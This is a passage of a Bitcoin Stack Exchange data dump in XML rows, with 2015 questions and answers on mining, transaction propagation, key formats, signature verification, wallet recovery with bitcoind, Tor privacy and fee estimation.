  <row Id="36167" PostTypeId="1" CreationDate="2015-02-21T18:59:25.157" Score="0" ViewCount="34" Body="&lt;p&gt;I am interested in starting to mine alt coins. &#xA;I have little in funds to invest in hardware, besides a laptop that I got from bestbuy. &#xA;are there any coins that would be able to be mined from such a basic setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my goal is to get coins and then trade them in for bitcoins and then onto fiat. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;im not looking for a big return in profits at first just something to get me started and then to work my way up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if there us anything you would like clarified please let me know&lt;/p&gt;&#xA;" OwnerUserId="24438" LastEditorUserId="5406" LastEditDate="2016-03-05T15:15:40.010" LastActivityDate="2016-03-05T15:15:40.010" Title="mining alt coins. trading/exchanges" Tags="|altcoin|cpu-mining|investing|" AnswerCount="0" CommentCount="2" ClosedDate="2015-03-24T07:16:25.333" ContentLicense="CC BY-SA 3.0" />
  <row Id="36168" PostTypeId="2" ParentId="36163" CreationDate="2015-02-21T20:21:20.467" Score="2" Body="&lt;p&gt;There are a few examples of how alternative, non-currency, applications of blockchains are secured. In most cases, it involves formally requiring some sort of a new blockchain token to use the service that the alternative blockchain provides.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://namecoin.info/&quot; rel=&quot;nofollow&quot;&gt;Namecoin&lt;/a&gt; is the prime example that comes to mind. Namecoin was the first ever fork of Bitcoin to make an altcoin. It uses its own token (namecoins) to register domain names. Thus, the mining is incentivized through a token which provides access to the service that the block chain provides. This model could be applied to other applications.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You may also find &lt;a href=&quot;http://counterparty.io/&quot; rel=&quot;nofollow&quot;&gt;Counterparty&lt;/a&gt; to be an interesting example. They have their own token (XCP) that limits access to the creation of new tokens. From what I have read, however, they use transactions on the bitcoin block chain for security and use XCP for spam prevention. This is an interesting case because it shows how the bitcoin blockchain can be used for something other than just the transferring of bitcoins.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It all comes down to there being a use-case for your blockchain. Bitcoin is mainly advertised as a new currency, so if it no longer is valued as a currency, then the chain will likely become insecure. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-02-21T20:21:20.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36169" PostTypeId="1" AcceptedAnswerId="36179" CreationDate="2015-02-21T20:41:10.640" Score="2" ViewCount="266" Body="&lt;p&gt;I'm trying to write a node that listens all the bitcoin transactions in real time. I'm considering two ways of doing this: The first one is to check mempools of other nodes periodically and the second one is to act like a relay so that other nodes can broadcast transactions to my node. I'm not keeping any blockchain data so it is out of question for me to verify the transactions. So my question is which one would be more reliable, secure and real time? I think the first one is more reliable because in the second case it's not certain that all transactions will be broadcasted to me but again it seems like there won't be any latency in the second case. What do you think? And also are there some better ways to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps: i don't want to use a third party api, it all should be handled from my node.&lt;/p&gt;&#xA;" OwnerUserId="24439" LastActivityDate="2015-02-22T20:10:46.483" Title="Best Way to Get Latest Transactions" Tags="|transactions|client|relay|broadcast|mempool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36170" PostTypeId="1" AcceptedAnswerId="36171" CreationDate="2015-02-21T21:09:05.237" Score="0" ViewCount="307" Body="&lt;p&gt;I'm pretty new to Bitcoin. This will be my second question at this site and I'll try to make it less verbose than the first while still containing what seems to be important detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still in the middle of synchronizing my Bitcoin Core client with the network. But while that's working, I'm considering mining. I dislike centralized pools for all the good reasons that many people do. It seems decentralized is something that many are beginning to recognize serves the best interests of everyone in the community which I guess is why p2pool was written. Thank you to everyone involved in that. And so if I do start mining, then p2pool seems like the best choice for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what's the difference between these two projects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/forrestv/p2pool/graphs/contributors&quot; rel=&quot;nofollow&quot;&gt;https://github.com/forrestv/p2pool/graphs/contributors&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Rav3nPL/p2pool-rav/graphs/contributors&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Rav3nPL/p2pool-rav/graphs/contributors&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are these just different implementations of the p2pool protocol?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like the forrestv project's last release was in 2013, so 2+ years ago?! Does that indicate stable/finished application or does that indicate an abandoned project?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rav3nPL's project seems to have more recent activity. Which project is better and why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it matters for the answer, I'm using Linux for my Bitcoin node.&lt;/p&gt;&#xA;" OwnerUserId="3005" LastEditorUserId="5406" LastEditDate="2016-04-10T10:00:39.370" LastActivityDate="2016-04-10T10:00:39.370" Title="Best p2pool software" Tags="|mining-pools|miner-configuration|p2pool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36171" PostTypeId="2" ParentId="36170" CreationDate="2015-02-21T21:44:34.237" Score="1" Body="&lt;p&gt;forrestv stopped updating the version, but &lt;a href=&quot;https://github.com/forrestv/p2pool/commits/master&quot; rel=&quot;nofollow&quot;&gt;he's still adding features&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, the Linux &lt;a href=&quot;http://p2pool.in/&quot; rel=&quot;nofollow&quot;&gt;installation instructions&lt;/a&gt; say to just get the latest master:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install git # if git is not installed&#xA;git clone https://github.com/forrestv/p2pool.git&#xA;cd p2pool&#xA;make&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-02-21T21:44:34.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36172" PostTypeId="1" AcceptedAnswerId="36174" CreationDate="2015-02-22T07:43:30.397" Score="1" ViewCount="193" Body="&lt;p&gt;To clarify, if person A sends bitcoins to person B, and person C sends bitcoins to person D, 1 second (or less), AFTER person A, can person C's transaction show up on the network BEFORE person A's? If so can you explain how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: By &quot;show up on the network&quot; i mean get on the blockchain. Example: If A and C both sent to the same address, but C sent his 1 second (or less) later, then if i go to blockchain.info and look at the recipients transactions, is it possible to see C's transaction before A's (even if it is unconfirmed)&lt;/p&gt;&#xA;" OwnerUserId="24443" LastEditorUserId="24443" LastEditDate="2015-02-22T18:24:48.993" LastActivityDate="2015-02-22T18:24:48.993" Title="Is it possible for a person's transaction to show up on the network BEFORE mine if I send bitcoins before him?" Tags="|transactions|nodes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36174" PostTypeId="2" ParentId="36172" CreationDate="2015-02-22T12:19:12.960" Score="0" Body="&lt;p&gt;It is not clear what you mean with &quot;show up on the network&quot;. I will assume that you mean &quot;included in the blockchain&quot; rather than &quot;submitted to the network&quot;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Transactions are spread peer to peer.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When a users sends a transaction, he transmits it to all the peers he is connected to. All these peers will then propagate it to their peers, and the recipients will repeat so again until all nodes in the network have received the transmission.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;An exaggerated example&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Let's imagine the following (hypothetic) situation:&lt;br&gt;&#xA;&lt;strong&gt;A&lt;/strong&gt; has only one peer, who in turn only has only one other peer. Let's say A is connected to the network in a very long chain of weakly connected nodes, which then at some point leads to the &quot;well-connected network&quot;.&lt;br&gt;&#xA;On the other hand &lt;strong&gt;C&lt;/strong&gt; has ten peers, of which one is very well connected such as a mining pool operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when &lt;strong&gt;A&lt;/strong&gt; sends his transaction, it is transmitted to one other node in the network, then a second is notified, in the next step only a third. Obviously, it will take some time until the transaction will spread to the whole network. On the other hand, when &lt;strong&gt;C&lt;/strong&gt; sends his transaction, it is immediately received by 10 other nodes. Each of those sends it to ten other nodes, the mining pool might even send it to hundreds. The network will be notified very quickly of that transaction.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;We can see different propagation times, but the effect isn't that huge&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://bitcoinstats.com/network/propagation/&quot; rel=&quot;nofollow&quot;&gt;BitcoinStats&lt;/a&gt;, it takes about 0.651 seconds for a transaction to be seen by 50% of the network, and about 2.761 seconds to be seen by 90% of the network.&lt;br&gt;&#xA;Also, the above example is exaggerated: Usually, every node will try to connect to several nodes. However, the effect that some transactions will spread faster due to being submitted to well-connected nodes still exists. If a miner finds a block and had already received the transaction of &lt;strong&gt;C&lt;/strong&gt; but not &lt;strong&gt;A&lt;/strong&gt;'s. &lt;strong&gt;C&lt;/strong&gt;'s might be included in a block before &lt;strong&gt;A&lt;/strong&gt;'s transaction. However, the window is pretty small, since the block interval is much bigger than the propagation time.&lt;br&gt;&#xA;The effect would be especially pronounced, if &lt;strong&gt;A&lt;/strong&gt;'s transaction didn't include a transaction fee, or was non-standard, and therefore not propagated by all nodes.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-02-22T12:41:08.417" LastActivityDate="2015-02-22T12:41:08.417" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36176" PostTypeId="2" ParentId="22589" CreationDate="2015-02-22T18:02:25.670" Score="1" Body="&lt;p&gt;One isn't canonical over the other but if you are creating new keys there is no reason to use anything but compressed keys.  So you could say uncompressed keys are deprecated for new key creation.   If you are writing wallet software or other tools it would be good practice to always create compressed keys by default.  Uncompressed keys have no advantages and they make each input in a transaction 32 bytes larger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for transactions involving existing keys you must use the form which hashes to the PubKeyHash provided in the PkScript (output script).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This private key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;72F3F4D20089ACFF5406AE394D575466FA97790CB27BDCEC08B288C44C924622&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;has a public key in both of the following forms&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;04C02D446392E6FF2A5A80256C41F00251F22E5657A9C9889596DD44501F335F73B8CE4F74EF058871FDA861A3C642600743F5D5CA83660656AF296B66A49BD68A&#xA;&#xA;02C02D446392E6FF2A5A80256C41F00251F22E5657A9C9889596DD44501F335F73&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;they however hash to different PubKeyHashes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3294837233cf5e8b458fad15b7581e0dd5027ace (for uncompressed key)&#xA;fe9a562ce1129ecf42ec1e65cf4872049280082d (for compressed key)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if you are trying to spend an P2PkH output which is locked to the PubKeyHash 3294837233cf5e8b458fad15b7581e0dd5027ace the ScriptSig in the input must be created using the uncompressed key.  The scripting langugage will not check both forms.  It just directly hashes the pubkey provided and verifies that it matches the pubkeyhash in the output.  Remember an address is the pubkeyhash encoded in base58 so the output form is going to depend on which address you provide the sender.  &lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2015-02-22T18:02:25.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36177" PostTypeId="1" AcceptedAnswerId="36178" CreationDate="2015-02-22T18:56:10.393" Score="3" ViewCount="1151" Body="&lt;p&gt;I understand how ECDSA exactly works and for verification of a signature, the public key of the signer is required. But in Bitcoin, public key is double hashed and the only information the receiver knows is the sender's address.&lt;br/&gt;&#xA;Then my question is that how the receiver can verify the senders signature without knowing his public key?&lt;/p&gt;&#xA;" OwnerUserId="21331" LastActivityDate="2015-02-23T13:46:11.170" Title="How can someone verify the signature of a Bitcoin ECDSA signature without knowing the signer's public key?" Tags="|signature|ecdsa|verification|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36178" PostTypeId="2" ParentId="36177" CreationDate="2015-02-22T20:01:18.573" Score="8" Body="&lt;p&gt;Simple, the sender shows the pubkey when spending from whatever address the bitcoins are in. As part of the verification, the receiver (actually, every node in the network), can verify that the pubkey hashes to the address given and then and only then verifies the signature.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-22T20:01:18.573" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36179" PostTypeId="2" ParentId="36169" CreationDate="2015-02-22T20:10:46.483" Score="3" Body="&lt;p&gt;Without verifying the transactions themselves, there's no guarantee that the transactions you get from either method are valid. Nodes can lie about what transactions they have in their mempool, for example, and send you gibberish. On the flip side, nodes also don't have any obligation to send you transactions that they have. There are non-standard transactions, for example, that many nodes simply don't relay, so you have no way to find out about them, but they may still get mined in the next block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to actually verify unconfirmed transactions, you're going to need to be a full node with the entire blockchain stored so you can validate them yourself. There are no guarantees about the behavior of any other node on unconfirmed transactions and assuming that they're valid is simply not a good thing to do from a security perspective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if you want the largest set of unconfirmed transactions possible, the easiest way is to connect to as many nodes as possible and get whatever transactions they have in their mempools. The &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_documentation&quot; rel=&quot;nofollow&quot;&gt;bitcoin network protocol&lt;/a&gt; has a lot of very useful commands for this purpose that you can create. Of particular interest are the &lt;code&gt;inv&lt;/code&gt; and &lt;code&gt;getdata&lt;/code&gt; commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, that's exactly what bitcoind already does and it verifies all the transactions to boot, so you'd really honestly be duplicating that exact same function. The big optimization opportunity here would be mostly on choosing the best peers that somehow are &quot;most informed&quot; about unconfirmed transactions. &lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-22T20:10:46.483" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36180" PostTypeId="2" ParentId="36150" CreationDate="2015-02-22T20:17:40.873" Score="1" Body="&lt;p&gt;The difference between these two is that with &lt;code&gt;addmultisigaddress&lt;/code&gt;, bitcoind stores the &lt;a href=&quot;https://bitcoin.org/en/developer-guide#term-redeem-script&quot; rel=&quot;nofollow&quot;&gt;redeem script&lt;/a&gt; and the second one, bitcoind has no idea what the redeem script is and only stores its hash (which is essentially the p2sh address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For watching the address, the two are essentially equivalent since you'll still know when bitcoins get sent to that p2sh address. The redeem script is necessary if you want to spend from the p2sh address to some other address. Even if you had the private keys in the multisig p2sh address, you wouldn't be able to spend it using &lt;code&gt;importaddress&lt;/code&gt; since you still need the redeem script in order to be able to spend it.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastEditorUserId="23123" LastEditDate="2015-02-22T20:22:46.277" LastActivityDate="2015-02-22T20:22:46.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36182" PostTypeId="1" CreationDate="2015-02-23T05:28:23.783" Score="1" ViewCount="208" Body="&lt;p&gt;If I held currency on Mt. Gox, but not actually bitcoins, am I in a different situation to those who held bitcoins? For example, if I had $700 AUD but 0 BTC. I can't get any information regarding this online and do not think contacting Mt. Gox would be helpful (nor possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related, but concerned about BTC held in Mt. Gox rather than fiat: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/22641/i-have-had-31-bitcoins-on-mtgox-what-are-my-options-now&quot;&gt;I have/had 31 bitcoins on MtGox; What are my options now?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="24447" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-02-27T05:34:32.883" Title="If I held fiat currency, instead BTC, on MT Gox, would I get paid sooner/more?" Tags="|mtgox|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36184" PostTypeId="2" ParentId="36177" CreationDate="2015-02-23T13:46:11.170" Score="2" Body="&lt;pre&gt;&lt;code&gt;static bool verify ( const QByteArray&amp;amp; dgst, const QByteArray&amp;amp; pub, const QByteArray&amp;amp; sig )&#xA;{&#xA;  return 0 &amp;lt; ECDSA_verify ( 0, (const quint8*)dgst.constData ( ), 32,&#xA;    (const quint8*)sig.constData ( ), sig.size ( ), EC_KEY_pub_key ( pub ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-02-23T13:46:11.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36185" PostTypeId="1" CreationDate="2015-02-23T16:14:44.067" Score="0" ViewCount="3514" Body="&lt;p&gt;I downloaded Bitcoin core wallet a few days ago. It was all going well, it synced just to about 25 weeks ago or something. One day the power went down and it shutdown the computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I started bitcoin core again it loaded up to &quot;loading wallet&quot; and is stuck there. Unfortunately I already send a few BTC's to the wallet. Since I could not access my wallet, I figured that my BTC's are lost but then I start reading about accessing my wallet using Bitcoind, however when I create the bitcoin.conf file with the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=bitcoinrpc&#xA;rpcpassword=xxxxxxxxxxxx &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It wont recognize it and still give me the same error and crash as before I created the file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently running on Windows XP. So since I can't access my wallet, and since the manual way does not seem to work either, is there any other way to withdraw the coins from the wallet? If not can anyone help me with the bitcoind problem. Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="24453" LastEditorUserId="2306" LastEditDate="2015-02-23T18:07:54.907" LastActivityDate="2021-01-14T23:31:18.810" Title="After power hit, wallet won't load" Tags="|wallet|bitcoind|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36186" PostTypeId="1" AcceptedAnswerId="36189" CreationDate="2015-02-23T17:18:39.703" Score="1" ViewCount="405" Body="&lt;p&gt;I am trying to extract the signatures from a transaction. What is the best way to do this given a &lt;code&gt;com.google.bitcoin.core.Transaction&lt;/code&gt; object I just received from the network?&lt;/p&gt;&#xA;" OwnerUserId="2075" LastEditorUserId="2075" LastEditDate="2015-02-23T17:37:40.237" LastActivityDate="2015-02-23T18:20:00.413" Title="How to extract the signature of a transaction using bitcoinj" Tags="|transactions|signature|bitcoinj|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36187" PostTypeId="1" CreationDate="2015-02-23T17:18:40.860" Score="8" ViewCount="1668" Body="&lt;p&gt;Since bitcoin is a software package that involves &quot;real&quot; money (inasmuch as any currency is &quot;real&quot;), I know there are major incentives for unscrupulous people to build backdoors into software related to bitcoin. For example, consider the current warning in IRC#bitcoin: &quot;...All keys generated with brainwallet.org should be considered compromised&quot; (a backdoor was apparently built into that software though I don't have specific details).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as I consider building a second bitcoin node for myself (my &lt;a href=&quot;https://bitcoin.stackexchange.com/a/36145/3005&quot;&gt;first&lt;/a&gt; was in Arch using an official package), this time in Linux Mint 17.1 (based on Ubuntu 14.04) using an &lt;strong&gt;unofficial&lt;/strong&gt; &lt;a href=&quot;https://launchpad.net/~bitcoin/+archive/ubuntu/bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoin PPA&lt;/a&gt;, I'm taking careful note of the warning that I usually dismiss without much of a second thought for using Debian/Ubuntu/Mint PPAs: &quot;You can update your system with &lt;strong&gt;unsupported&lt;/strong&gt; packages from this &lt;strong&gt;untrusted&lt;/strong&gt; PPA by adding ppa:bitcoin/bitcoin to your system's Software Sources.&quot; (emphasis not in original)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And so before I use this PPA myself, I thought I would ask here if anyone else has used this PPA (that was only recently revised by Matt Corallo on 2015-02-18), and if you found any specific problems with it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I think about using it myself, I wonder if I should look at the MD5 checksum and/or diff of the source files used in the PPA as compared with those of the original Bitcoin Core sources. I don't know; maybe that's being too paranoid, but I'm wondering if others have used this PPA and if so, if they compared it with the original upstream sources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I considered asking this question at &lt;a href=&quot;https://askubuntu.com/&quot;&gt;https://askubuntu.com/&lt;/a&gt;, but I think it's better suited to this Q/A community because it's less about Ubuntu (I think this PPA could be used in many different distros that are all based on Ubuntu like my Mint distro) and more about Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="3005" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2019-03-04T05:43:24.313" Title="Ubuntu bitcoin PPA" Tags="|bitcoind|bitcoin-core|ubuntu|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36189" PostTypeId="2" ParentId="36186" CreationDate="2015-02-23T18:04:02.033" Score="1" Body="&lt;p&gt;This works for P2PK, and P2PKH, but multisig will not work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int index = (the index you want);&#xA;List&amp;lt;TransactionInput&amp;gt; inputs = Transaction.getInputs()&#xA;TransactionInput input = inputs.get(index);&#xA;Script scriptSig = input.getScriptSig();&#xA;List&amp;lt;ScriptChunk&amp;gt; signature_and_pubkey = scriptSig.getChunks();&#xA;ScriptChunk sig_chunk = signature_and_pubkey.get(0);&#xA;bytes[] sig_bytes = sig_chunk.data;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want a TransactionSignature object instead of raw bytes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TransactionSignature ts = TransactionSignature.decodeFromBitcoin(sig_bytes, false)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-02-23T18:20:00.413" LastActivityDate="2015-02-23T18:20:00.413" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36190" PostTypeId="2" ParentId="36185" CreationDate="2015-02-23T18:09:39.490" Score="0" Body="&lt;p&gt;Run bitcoind and on the command-line use this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dumpprivkey &amp;lt;your bitcoin address here&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will dump your private key which can then be imported to any number of other bitcoin wallets like Mycelium, Electrum, Armory, etc. You will be able to access your funds in the other bitcoin wallet software once this key is imported.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-23T18:09:39.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36191" PostTypeId="1" AcceptedAnswerId="36195" CreationDate="2015-02-23T21:25:20.743" Score="2" ViewCount="681" Body="&lt;p&gt;I know running Bitcoin over Tor isn't a good idea: &lt;a href=&quot;http://arxiv.org/pdf/1410.6079v2.pdf&quot; rel=&quot;nofollow&quot;&gt;Bitcoin over Tor isn’t a good idea&lt;/a&gt;. My question is: &lt;strong&gt;there are any alternative to hide the IP to the network safely?&lt;/strong&gt; Using a proxy, if you don't full control / trust it I guess a similar attack can be done. The IP reveals your geographical position. So, how to hide your geographic position and keep running a full node?&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2015-02-24T06:24:03.120" Title="Alternative to run Bitcoin over Tor" Tags="|privacy|tor|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36192" PostTypeId="1" AcceptedAnswerId="36194" CreationDate="2015-02-23T23:04:07.797" Score="14" ViewCount="2072" Body="&lt;p&gt;If the miner with the strongest ability to solve the block wins, why doesn't the same miner win every time?  Wouldn't that miner still have the strongest ability to perform the proof of work on the next block and thus win every block?&lt;/p&gt;&#xA;" OwnerUserId="24388" LastEditorUserId="5406" LastEditDate="2016-03-10T09:15:31.487" LastActivityDate="2023-05-20T06:07:13.883" Title="Why doesn't the same miner always win?" Tags="|mining-profitability|hashpower|mining-theory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36194" PostTypeId="2" ParentId="36192" CreationDate="2015-02-23T23:15:00.807" Score="23" Body="&lt;p&gt;Mining is &lt;strong&gt;not&lt;/strong&gt; won by the miner with the &amp;quot;strongest ability to solve the block&amp;quot;. Mining is a random progress-free process. Each block candidate independently has a tiny chance to be a valid block.&lt;/p&gt;&#xA;&lt;p&gt;Each miner is working on a separate, non-overlapping block candidate set. Block candidates assign the block reward to their author with an output in the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4571/5406&quot;&gt;Coinbase transactions&lt;/a&gt; and therefore each miner has their own transaction set differing to that of other miners. As everyone is working on a separate set of work, and every piece of work has an tiny chance of winning (independently of what else was tried!), mining is a &lt;em&gt;Poisson process&lt;/em&gt;, rather than a linear stack of work that needs to be powered through. Therefore, the miner with the most hashing power has the &lt;strong&gt;greatest chance&lt;/strong&gt; to win the block, but only probabilistically so.&lt;/p&gt;&#xA;&lt;p&gt;Think of mining as buying a lottery ticket for each block candidate hashed. Only a fraction of the tickets in the pot are winning tickets, but somebody might draw a winner on their second try, while another has bought fifty losing tickets already. However, when you buy more tickets more quickly, your chance of winning is higher.&lt;/p&gt;&#xA;&lt;p&gt;For a better overview what mining is, you can have a look at &amp;quot;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/148/what-exactly-is-mining&quot;&gt;What exactly is mining?&lt;/a&gt;&amp;quot;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2021-01-25T14:11:02.290" LastActivityDate="2021-01-25T14:11:02.290" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="36195" PostTypeId="2" ParentId="36191" CreationDate="2015-02-24T06:24:03.120" Score="3" Body="&lt;p&gt;Almost all of the drawbacks of using bitcoin over Tor revolve around the fact that your node can't trust that it isn't segmented from the network and thus can't truly verify the state of the network it sees is real. So if you ran two bitcoin nodes (both with the same privkey), one on the clearnet just to have an accurate view of the network and the other over Tor, which you use to send transactions, the worst that could happen is that the Tor exit node doesn't relay your transaction to the network. Since most (all?) bitcoin IP tracing schemes trace you by monitoring your sent transactions, you would be as safe. (Or as safe as Tor is normally.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since bitcoin clients always use the same nodes, the Tor bitcoin client should never be connected over the clearnet, as that would at least allow it to be determined that you had also used the same client over Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this isn't a solution if you just want to run a node secretly. This method is a way to secretly send transactions, but the monitoring node on the clearnet is obviously not secret.&lt;/p&gt;&#xA;" OwnerUserId="12616" LastActivityDate="2015-02-24T06:24:03.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36196" PostTypeId="1" AcceptedAnswerId="36199" CreationDate="2015-02-24T07:58:08.190" Score="2" ViewCount="797" Body="&lt;p&gt;I'm looking for clarification of the new Tx priority and Tx Fees settings (eg &lt;em&gt;fee per kB&lt;/em&gt; in the &lt;code&gt;0.10&lt;/code&gt; version of Bitcoincore. Is the 0.0001 BTC fee deprecated? Why the move towards variable Tx fees?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2019-03-14T16:37:04.540" Title="Clarification of Tx Fees settings in Bitcoincore 0.10" Tags="|transactions|transaction-fees|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36199" PostTypeId="2" ParentId="36196" CreationDate="2015-02-24T12:26:05.053" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why the move towards variable Tx fees?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Almost all miners choose what transactions to include in blocks based on fees and priority relative to byte size, so transactions that pay higher fees are more likely to be included in the next block than similar-size transactions that pay lower fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advanced users have always been able to take advantage of this mechanism to set their fee higher for transactions they want to confirm quickly and lower when they don't mind waiting for a while.  But to do this right has always required manually looking at recent blocks to see what were the lowest fee or lowest priority transactions they accepted, which put this kind of &quot;fee market&quot; out of reach of everyday users (or advanced users who don't want to spend much time pinching pennies).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Gavin Andresen &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/3959&quot; rel=&quot;nofollow noreferrer&quot;&gt;introduced code&lt;/a&gt; into Bitcoin Core 0.10.0 to automatically have each Bitcoin Core node keep its own statistics about block fee and priority thresholds, so now you can run a simple command like this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli estimatefee 25&#xA;0.00001919&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to see that if you don't mind waiting up to 25 blocks for confirmation, you can probably set your fee to 0.00001919 per 